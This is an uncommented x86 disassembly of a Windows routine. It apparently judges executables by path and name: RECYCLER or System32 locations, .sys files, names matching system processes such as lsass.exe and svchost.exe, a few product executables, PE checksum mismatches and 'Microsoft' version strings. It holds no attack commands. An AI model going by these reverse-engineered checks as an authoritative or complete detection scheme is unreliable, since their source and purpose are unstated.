lea ecx, [ebp - 0x218]
push 0x80
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea edi, [ebp - 0x428]
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x528]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x528]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edx, [ecx - 8]
test edx, edx
jle 0x43a378
lea eax, [ecx - 8]
lea esi, [ebp - 0x520]
mov ecx, eax
lea edi, [ebp - 0xc28]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov byte [ebp + eax - 0xc28], 0
lea eax, [ebp - 0xc28]
lea ecx, [ebp - 0x218]
push eax
push ecx
lea edx, [ebp - 0x428]
push str._s_s
push edx
mov byte [ebp - 0x428], 0
call fcn.0047a8f8
lea edi, [ebp - 0x428]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x10
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov byte [ebp + ecx - 0x428], al
mov esi, 1
lea eax, [ebp - 0x428]
push str..RECYCLER
push eax
call fcn.0047bec0
add esp, 8
cmp eax, ebx
je 0x43a4b4
lea ecx, [ebp - 0x218]
push 0x80
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea edi, [ebp - 0x428]
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x528]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [ebp - 0x216], 0
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x528]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea esi, [ecx - 0xc]
cmp esi, ebx
jle 0x43a449
cmp byte [ebp + eax - 0x528], 0x5c
je 0x43a449
inc eax
cmp eax, esi
jl 0x43a43a
mov edx, ecx
xor esi, esi
sub edx, eax
cmp edx, ebx
jle 0x43a474
lea eax, [ebp + eax - 0x528]
mov ecx, edx
mov esi, eax
mov eax, ecx
lea edi, [ebp - 0x728]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, edx
lea ecx, [ebp - 0x728]
lea edx, [ebp - 0x218]
push ecx
push edx
lea eax, [ebp - 0x428]
push str._s_s
push eax
mov byte [ebp + esi - 0x728], 0
mov byte [ebp - 0x428], 0
call fcn.0047a8f8
add esp, 0x10
mov dword [ebp - 0xcc], 1
mov esi, 1
cmp byte [ebp - 0x428], 0x22
jne 0x43a517
mov esi, dword [ebp + 0xc]
xor edx, edx
xor eax, eax
cmp esi, ebx
jle 0x43a4e1
mov cl, byte [ebp + eax - 0x428]
cmp cl, 0x22
je 0x43a4dc
mov byte [ebp + edx - 0x528], cl
inc edx
inc eax
cmp eax, esi
jl 0x43a4c8
lea edi, [ebp - 0x528]
or ecx, 0xffffffff
xor eax, eax
mov byte [ebp + edx - 0x528], 0
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x428]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, 1
lea ecx, [ebp - 0x428]
push 0x48b7ec
push ecx
call fcn.0047bec0
lea edx, [ebp - 0x428]
push 0x492024
push edx
call fcn.0047bec0
add esp, 0x10
test eax, eax
je 0x43a630
lea edi, [ebp - 0x428]
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x528]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
cmp byte [ebp - 0x527], 0x3a
je 0x43a5da
lea edi, [ebp - 0x428]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edx, [ecx - 2]
cmp edx, ebx
jle 0x43a5a6
cmp byte [ebp + eax - 0x428], 0x3a
jne 0x43a5a1
cmp byte [ebp + eax - 0x427], 0x5c
je 0x43a5a6
inc eax
cmp eax, edx
jl 0x43a58d
sub ecx, eax
xor esi, esi
lea edx, [ecx + 1]
cmp edx, ebx
jle 0x43a5d2
lea eax, [ebp + eax - 0x529]
mov ecx, edx
mov esi, eax
mov eax, ecx
lea edi, [ebp - 0x428]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, edx
mov byte [ebp + esi - 0x428], 0
lea edi, [ebp - 0x428]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, ebx
jle 0x43a60e
cmp byte [ebp + eax - 0x428], 0x2e
jne 0x43a609
mov dl, byte [ebp + eax - 0x427]
cmp dl, 0x65
je 0x43a623
cmp dl, 0x45
je 0x43a623
inc eax
cmp eax, ecx
jl 0x43a5ee
cmp ecx, ebx
mov eax, ecx
jle 0x43a623
cmp byte [ebp + eax - 0x428], 0x2e
je 0x43a623
dec eax
cmp eax, ebx
jg 0x43a614
mov byte [ebp + eax - 0x424], 0
mov esi, 1
lea ecx, [ebp - 0x9a8]
push 0x80
push ecx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea edx, [ebp - 0x428]
push 0x492024
push edx
call fcn.0047bec0
add esp, 8
test eax, eax
jne 0x43a72e
lea edi, [ebp - 0x428]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x218]
mov eax, ecx
mov esi, edi
mov edi, edx
push str.System32
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x218]
push ecx
call fcn.0047bec0
add esp, 8
test eax, eax
jne 0x43a6dc
lea edx, [ebp - 0x218]
push str.system32
push edx
call fcn.0047bec0
add esp, 8
test eax, eax
jne 0x43a6dc
lea eax, [ebp - 0x218]
push str.SYSTEM32
push eax
call fcn.0047bec0
add esp, 8
test eax, eax
jne 0x43a6dc
lea ecx, [ebp - 0x218]
lea edx, [ebp - 0xb28]
push ecx
jmp 0x43a6e9
lea ecx, [ebp - 0x218]
lea edx, [ebp - 0x9a8]
push ecx
push edx
lea eax, [ebp - 0x428]
push 0x4966e0
push eax
call fcn.0047a8f8
lea edi, [ebp - 0x428]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x10
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, ebx
jle 0x43a721
cmp byte [ebp + ecx - 0x428], 0x2e
je 0x43a721
dec ecx
cmp ecx, ebx
jg 0x43a712
mov byte [ebp + ecx - 0x424], 0
mov esi, 1
lea ecx, [ebp - 0x428]
push ecx
call fcn.00483565
mov edx, dword [ebp + 0x10]
mov dword [edx], eax
lea eax, [ebp - 0x428]
push eax
call fcn.00429f20
add esp, 8
cmp eax, esi
je 0x43a75c
push 0x49e7e4
jmp 0x43f2a4
lea ecx, [ebp - 0x428]
push ecx
call fcn.004246a0
lea edx, [ebp - 0x428]
push str..sys
push edx
mov dword [ebp - 0x68], eax
call fcn.0047bec0
add esp, 0xc
test eax, eax
je 0x43a8d1
lea eax, [ebp - 0x428]
push eax
call fcn.00428d90
lea ecx, [ebp - 0xca8]
mov esi, eax
lea edx, [ebp - 0xba8]
push ecx
lea eax, [ebp - 0x218]
push edx
lea ecx, [ebp - 0x428]
push eax
push ecx
mov dword [ebp + 0xc], esi
call fcn.004456c0
lea edx, [ebp - 0xca8]
lea eax, [ebp - 0xba8]
push edx
lea ecx, [ebp - 0x218]
push eax
push ecx
push esi
lea edx, [ebp - 0xea8]
push 0x49bafc
push edx
call fcn.0047a8f8
lea eax, [ebp - 0x218]
push 0x491b90
push eax
call fcn.0047fde0
add esp, 0x34
test eax, eax
jne 0x43a8c5
lea edi, [ebp - 0x428]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x528]
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [ebp - 0x528]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x9a8]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov byte [ebp + ecx - 0x528], al
lea ecx, [ebp - 0x9a8]
push ecx
push edx
call fcn.0047fde0
add esp, 8
test eax, eax
je 0x43a8c5
cmp dword [ebp - 0x18], ebx
jne 0x43a8c5
lea eax, [ebp + 0x10]
lea ecx, [ebp - 0x6a8]
push eax
lea edx, [ebp - 0x428]
push ecx
push edx
mov dword [ebp + 0x10], ebx
call fcn.0044aaf0
mov eax, dword [ebp + 0x10]
add esp, 0xc
cmp eax, 5
jle 0x43a8c5
mov edi, 0x49e7d4
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x218]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
mov edx, dword [ebp + 0xc]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [ebp - 0xea8]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x218]
push ecx
push edx
push 0x49e7c0
push eax
call fcn.0047a8f8
add esp, 0x10
lea ecx, [ebp - 0xea8]
push ecx
jmp 0x43f2a4
lea edx, [ebp - 0x428]
push str..SYS
push edx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x43aa37
lea eax, [ebp - 0x428]
push eax
call fcn.00428d90
lea ecx, [ebp - 0xba8]
mov esi, eax
lea edx, [ebp - 0xca8]
push ecx
lea eax, [ebp - 0x218]
push edx
lea ecx, [ebp - 0x428]
push eax
push ecx
mov dword [ebp + 0xc], esi
call fcn.004456c0
lea edx, [ebp - 0xba8]
lea eax, [ebp - 0xca8]
push edx
lea ecx, [ebp - 0x218]
push eax
push ecx
push esi
lea edx, [ebp - 0xea8]
push 0x49bafc
push edx
call fcn.0047a8f8
lea eax, [ebp - 0x218]
push 0x491b90
push eax
call fcn.0047fde0
add esp, 0x34
test eax, eax
jne 0x43aa2b
lea edi, [ebp - 0x428]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x528]
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [ebp - 0x528]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x9a8]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov byte [ebp + ecx - 0x528], al
lea ecx, [ebp - 0x9a8]
push ecx
push edx
call fcn.0047fde0
add esp, 8
test eax, eax
je 0x43aa2b
cmp dword [ebp - 0x18], ebx
jne 0x43aa2b
lea eax, [ebp + 0x10]
lea ecx, [ebp - 0x6a8]
push eax
lea edx, [ebp - 0x428]
push ecx
push edx
mov dword [ebp + 0x10], ebx
call fcn.0044aaf0
mov eax, dword [ebp + 0x10]
add esp, 0xc
cmp eax, 5
jle 0x43aa2b
mov edi, 0x49e7d4
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x218]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
mov edx, dword [ebp + 0xc]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [ebp - 0xea8]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x218]
push ecx
push edx
push 0x49e7c0
push eax
call fcn.0047a8f8
add esp, 0x10
lea ecx, [ebp - 0xea8]
push ecx
jmp 0x43f2a4
lea edx, [ebp - 0x428]
push str..Sys
push edx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x43ab9d
lea eax, [ebp - 0x428]
push eax
call fcn.00428d90
lea ecx, [ebp - 0xba8]
mov esi, eax
lea edx, [ebp - 0xca8]
push ecx
lea eax, [ebp - 0x218]
push edx
lea ecx, [ebp - 0x428]
push eax
push ecx
mov dword [ebp + 0xc], esi
call fcn.004456c0
lea edx, [ebp - 0xba8]
lea eax, [ebp - 0xca8]
push edx
lea ecx, [ebp - 0x218]
push eax
push ecx
push esi
lea edx, [ebp - 0xea8]
push 0x49bafc
push edx
call fcn.0047a8f8
lea eax, [ebp - 0x218]
push 0x491b90
push eax
call fcn.0047fde0
add esp, 0x34
test eax, eax
jne 0x43ab91
lea edi, [ebp - 0x428]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x528]
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [ebp - 0x528]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x9a8]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov byte [ebp + ecx - 0x528], al
lea ecx, [ebp - 0x9a8]
push ecx
push edx
call fcn.0047fde0
add esp, 8
test eax, eax
je 0x43ab91
cmp dword [ebp - 0x18], ebx
jne 0x43ab91
lea eax, [ebp + 0x10]
lea ecx, [ebp - 0x6a8]
push eax
lea edx, [ebp - 0x428]
push ecx
push edx
mov dword [ebp + 0x10], ebx
call fcn.0044aaf0
mov eax, dword [ebp + 0x10]
add esp, 0xc
cmp eax, 5
jle 0x43ab91
mov edi, 0x49e7d4
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x218]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
mov edx, dword [ebp + 0xc]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [ebp - 0xea8]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x218]
push ecx
push edx
push 0x49e7c0
push eax
call fcn.0047a8f8
add esp, 0x10
lea ecx, [ebp - 0xea8]
push ecx
jmp 0x43f2a4
lea edx, [ebp - 0x428]
push str..SYs
push edx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x43ad03
lea eax, [ebp - 0x428]
push eax
call fcn.00428d90
lea ecx, [ebp - 0xba8]
mov esi, eax
lea edx, [ebp - 0xca8]
push ecx
lea eax, [ebp - 0x218]
push edx
lea ecx, [ebp - 0x428]
push eax
push ecx
mov dword [ebp + 0xc], esi
call fcn.004456c0
lea edx, [ebp - 0xba8]
lea eax, [ebp - 0xca8]
push edx
lea ecx, [ebp - 0x218]
push eax
push ecx
push esi
lea edx, [ebp - 0xea8]
push 0x49bafc
push edx
call fcn.0047a8f8
lea eax, [ebp - 0x218]
push 0x491b90
push eax
call fcn.0047fde0
add esp, 0x34
test eax, eax
jne 0x43acf7
lea edi, [ebp - 0x428]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x528]
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [ebp - 0x528]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x9a8]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov byte [ebp + ecx - 0x528], al
lea ecx, [ebp - 0x9a8]
push ecx
push edx
call fcn.0047fde0
add esp, 8
test eax, eax
je 0x43acf7
cmp dword [ebp - 0x18], ebx
jne 0x43acf7
lea eax, [ebp + 0x10]
lea ecx, [ebp - 0x6a8]
push eax
lea edx, [ebp - 0x428]
push ecx
push edx
mov dword [ebp + 0x10], ebx
call fcn.0044aaf0
mov eax, dword [ebp + 0x10]
add esp, 0xc
cmp eax, 5
jle 0x43acf7
mov edi, 0x49e7d4
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x218]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
mov edx, dword [ebp + 0xc]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [ebp - 0xea8]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x218]
push ecx
push edx
push 0x49e7c0
push eax
call fcn.0047a8f8
add esp, 0x10
lea ecx, [ebp - 0xea8]
push ecx
jmp 0x43f2a4
lea edx, [ebp - 0x428]
push str..syS
push edx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x43ae69
lea eax, [ebp - 0x428]
push eax
call fcn.00428d90
lea ecx, [ebp - 0xba8]
mov esi, eax
lea edx, [ebp - 0xca8]
push ecx
lea eax, [ebp - 0x218]
push edx
lea ecx, [ebp - 0x428]
push eax
push ecx
mov dword [ebp + 0xc], esi
call fcn.004456c0
lea edx, [ebp - 0xba8]
lea eax, [ebp - 0xca8]
push edx
lea ecx, [ebp - 0x218]
push eax
push ecx
push esi
lea edx, [ebp - 0xea8]
push 0x49bafc
push edx
call fcn.0047a8f8
lea eax, [ebp - 0x218]
push 0x491b90
push eax
call fcn.0047fde0
add esp, 0x34
test eax, eax
jne 0x43ae5d
lea edi, [ebp - 0x428]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x528]
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [ebp - 0x528]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x9a8]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov byte [ebp + ecx - 0x528], al
lea ecx, [ebp - 0x9a8]
push ecx
push edx
call fcn.0047fde0
add esp, 8
test eax, eax
je 0x43ae5d
cmp dword [ebp - 0x18], ebx
jne 0x43ae5d
lea eax, [ebp + 0x10]
lea ecx, [ebp - 0x6a8]
push eax
lea edx, [ebp - 0x428]
push ecx
push edx
mov dword [ebp + 0x10], ebx
call fcn.0044aaf0
mov eax, dword [ebp + 0x10]
add esp, 0xc
cmp eax, 5
jle 0x43ae5d
mov edi, 0x49e7d4
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x218]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
mov edx, dword [ebp + 0xc]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
lea eax, [ebp - 0xea8]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x218]
push ecx
push edx
push 0x49e7c0
push eax
call fcn.0047a8f8
add esp, 0x10
lea ecx, [ebp - 0xea8]
push ecx
jmp 0x43f2a4
lea edx, [ebp - 0x428]
push str..sYS
push edx
call fcn.0047bec0
add esp, 8
cmp eax, ebx
je 0x43afcf
lea eax, [ebp - 0x428]
push eax
call fcn.00428d90
lea ecx, [ebp - 0xba8]
mov ebx, eax
lea edx, [ebp - 0xca8]
push ecx
lea eax, [ebp - 0x218]
push edx
lea ecx, [ebp - 0x428]
push eax
push ecx
call fcn.004456c0
lea edx, [ebp - 0xba8]
lea eax, [ebp - 0xca8]
push edx
lea ecx, [ebp - 0x218]
push eax
push ecx
push ebx
lea edx, [ebp - 0xea8]
push 0x49bafc
push edx
call fcn.0047a8f8
lea eax, [ebp - 0x218]
push 0x491b90
push eax
call fcn.0047fde0
add esp, 0x34
test eax, eax
jne 0x43afc3
lea edi, [ebp - 0x428]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [ebp - 0x528]
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [ebp - 0x528]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x9a8]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov byte [ebp + ecx - 0x528], al
lea ecx, [ebp - 0x9a8]
push ecx
push edx
call fcn.0047fde0
add esp, 8
test eax, eax
je 0x43afc3
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x43afc3
lea eax, [ebp + 0x10]
lea ecx, [ebp - 0x6a8]
push eax
lea edx, [ebp - 0x428]
push ecx
push edx
mov dword [ebp + 0x10], 0
call fcn.0044aaf0
mov eax, dword [ebp + 0x10]
add esp, 0xc
cmp eax, 5
jle 0x43afc3
mov edi, 0x49e7d4
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x218]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [ebp - 0xea8]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x218]
push ecx
push ebx
push 0x49e7c0
push edx
call fcn.0047a8f8
add esp, 0x10
lea eax, [ebp - 0xea8]
push eax
jmp 0x43f2a4
lea ecx, [ebp - 0xb28]
lea edx, [ebp - 0xfc8]
push ecx
push str._swinlogon.exe
push edx
call fcn.0047a8f8
lea eax, [ebp - 0x428]
lea ecx, [ebp - 0xfc8]
push eax
push ecx
call fcn.0047fde0
add esp, 0x14
test eax, eax
jne 0x43b00b
push 0x49bab4
jmp 0x43f2a4
lea edx, [ebp - 0xb28]
lea eax, [ebp - 0xfc8]
push edx
push str._scsrss.exe
push eax
call fcn.0047a8f8
lea ecx, [ebp - 0x428]
lea edx, [ebp - 0xfc8]
push ecx
push edx
call fcn.0047fde0
add esp, 0x14
test eax, eax
jne 0x43b047
push 0x49bab4
jmp 0x43f2a4
lea eax, [ebp - 0xb28]
lea ecx, [ebp - 0xfc8]
push eax
push str._s_services.exe
push ecx
call fcn.0047a8f8
lea edx, [ebp - 0x428]
lea eax, [ebp - 0xfc8]
push edx
push eax
call fcn.0047fde0
add esp, 0x14
test eax, eax
jne 0x43b083
push 0x49ba7c
jmp 0x43f2a4
lea ecx, [ebp - 0xb28]
lea edx, [ebp - 0xfc8]
push ecx
push str._slsass.exe
push edx
call fcn.0047a8f8
lea eax, [ebp - 0x428]
lea ecx, [ebp - 0xfc8]
push eax
push ecx
call fcn.0047fde0
add esp, 0x14
test eax, eax
jne 0x43b0bf
push 0x49ba7c
jmp 0x43f2a4
lea edx, [ebp - 0xb28]
lea eax, [ebp - 0xfc8]
push edx
push str._s_svchost.exe
push eax
call fcn.0047a8f8
lea ecx, [ebp - 0x428]
lea edx, [ebp - 0xfc8]
push ecx
push edx
call fcn.0047fde0
add esp, 0x14
test eax, eax
jne 0x43b0fb
push 0x49ba7c
jmp 0x43f2a4
lea eax, [ebp - 0xb28]
lea ecx, [ebp - 0xfc8]
push eax
push str._sctfmon.exe
push ecx
call fcn.0047a8f8
lea edx, [ebp - 0x428]
lea eax, [ebp - 0xfc8]
push edx
push eax
call fcn.0047fde0
add esp, 0x14
test eax, eax
jne 0x43b137
push 0x49ba7c
jmp 0x43f2a4
lea ecx, [ebp - 0xb28]
lea edx, [ebp - 0xfc8]
push ecx
push str._s_rundll32.exe
push edx
call fcn.0047a8f8
lea eax, [ebp - 0x428]
lea ecx, [ebp - 0xfc8]
push eax
push ecx
call fcn.0047fde0
add esp, 0x14
test eax, eax
jne 0x43b173
push 0x49ba7c
jmp 0x43f2a4
lea edx, [ebp - 0x9a8]
lea eax, [ebp - 0x1888]
push edx
push str._sTEMPOSCETEMPSVRINST.exe
push eax
mov byte [ebp - 0x1888], 0
call fcn.0047a8f8
lea ecx, [ebp - 0x1888]
lea edx, [ebp - 0x428]
push ecx
push edx
call fcn.0047fde0
add esp, 0x14
test eax, eax
je 0x43f29f
lea eax, [ebp - 0x428]
push str.TEMPOSCETEMPSVRINST.exe
push eax
call fcn.0047bec0
add esp, 8
test eax, eax
jne 0x43f29f
cmp dword [0x65cd60], esi
jne 0x43b26e
lea ecx, [ebp - 0xb28]
lea edx, [ebp - 0x1888]
push ecx
push str._sigSvc.EXE
push edx
mov byte [ebp - 0x1888], 0
call fcn.0047a8f8
lea eax, [ebp - 0x428]
lea ecx, [ebp - 0x1888]
push eax
push ecx
call fcn.0047fde0
add esp, 0x14
test eax, eax
jne 0x43b26e
lea edx, [ebp - 0xb28]
lea eax, [ebp - 0xda8]
push edx
push str._sigAgent.exe
push eax
call fcn.0047a8f8
lea ecx, [ebp - 0xda8]
push ecx
call fcn.00429f20
lea edx, [ebp - 0xb28]
mov esi, eax
push edx
lea eax, [ebp - 0x528]
push str._sigTerm.exe
push eax
call fcn.0047a8f8
lea ecx, [ebp - 0x528]
push ecx
call fcn.00429f20
add eax, esi
add esp, 0x20
test eax, eax
jle 0x43b26e
push 0x49e730
jmp 0x43f2a4
lea edx, [ebp - 0x74]
lea eax, [ebp - 0x6c]
push edx
lea ecx, [ebp - 0x428]
mov edi, 1
push eax
push ecx
mov dword [ebp - 0x6c], edi
mov dword [ebp - 0x74], ebx
mov dword [ebp - 0x60], ebx
call dword [sym.imp.imagehlp.dll_MapFileAndCheckSumA]
test eax, eax
jne 0x43b29f
mov edx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x74]
cmp edx, eax
je 0x43b2a2
mov dword [ebp - 0x60], edi
lea eax, [ebp - 0x1988]
lea ecx, [ebp - 0x628]
push eax
lea edx, [ebp - 0x428]
push ecx
push edx
mov dword [ebp - 4], 0xffffffff
call fcn.0046de70
movsx esi, ax
lea eax, [ebp - 0x1608]
lea ecx, [ebp - 0x1788]
push eax
lea edx, [ebp - 0x428]
push ecx
push edx
mov dword [ebp - 0x2c], esi
call fcn.00455090
mov eax, dword [ebp - 0x68]
add esp, 0x18
cmp eax, 0xc8000
jle 0x43b348
cmp esi, edi
jge 0x43b305
cmp eax, 0x177000
jle 0x43b305
push 0x49e718
jmp 0x43f2a4
cmp esi, ebx
jle 0x43b348
lea eax, [ebp - 0x1608]
lea ecx, [ebp - 0x628]
push eax
push ecx
lea edx, [ebp - 0x928]
push 0x49e6ec
push edx
call fcn.0047a8f8
lea eax, [ebp - 0x928]
push eax
call fcn.00483565
add esp, 0x14
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x628]
push 0x49b940
push ecx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x43b36a
push 0x49b934
jmp 0x43f2a4
lea edx, [ebp - 0x428]
push str.32A6Wizard_
push edx
call fcn.0047bec0
add esp, 8
test eax, eax
je 0x43b38c
push 0x49b934
jmp 0x43f2a4
lea eax, [ebp - 0x628]
push str.Microsoft
push eax
mov dword [ebp - 0x34], ebx
call fcn.0047bec0
add esp, 8
cmp eax, ebx
je 0x43b445
lea edi, [ebp - 0x1988]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, 2
jl 0x43b3e1
lea ecx, [ebp - 0x1988]
push str.Microsoft
push ecx
call fcn.0047bec0
add esp, 8
cmp eax, ebx
je 0x43b3e1
mov dword [ebp - 0x34], 1
jmp 0x43b410
mov edi, 0x49ba20
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x628]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [ebp - 0x70], 1
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
cmp dword [ebp - 0x60], 1
jne 0x43b445
mov edi, 0x49ba20
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x628]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [ebp - 0x70], 1
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0xb28]
push 0x80
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edx, [ebp - 0x9a8]
push 0x80
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea edi, [ebp - 0x9a8]
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x1508]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [ebp - 0x1688]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x1508]
mov byte [ebp - 0x1506], 0
push ecx
push str._sProgram_Files
push edx
call fcn.0047a8f8
lea edi, [ebp - 0x428]
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
dec ecx
xor ebx, ebx
test ecx, ecx
jle 0x43b4e9
lea edx, [ebp + ecx - 0x428]
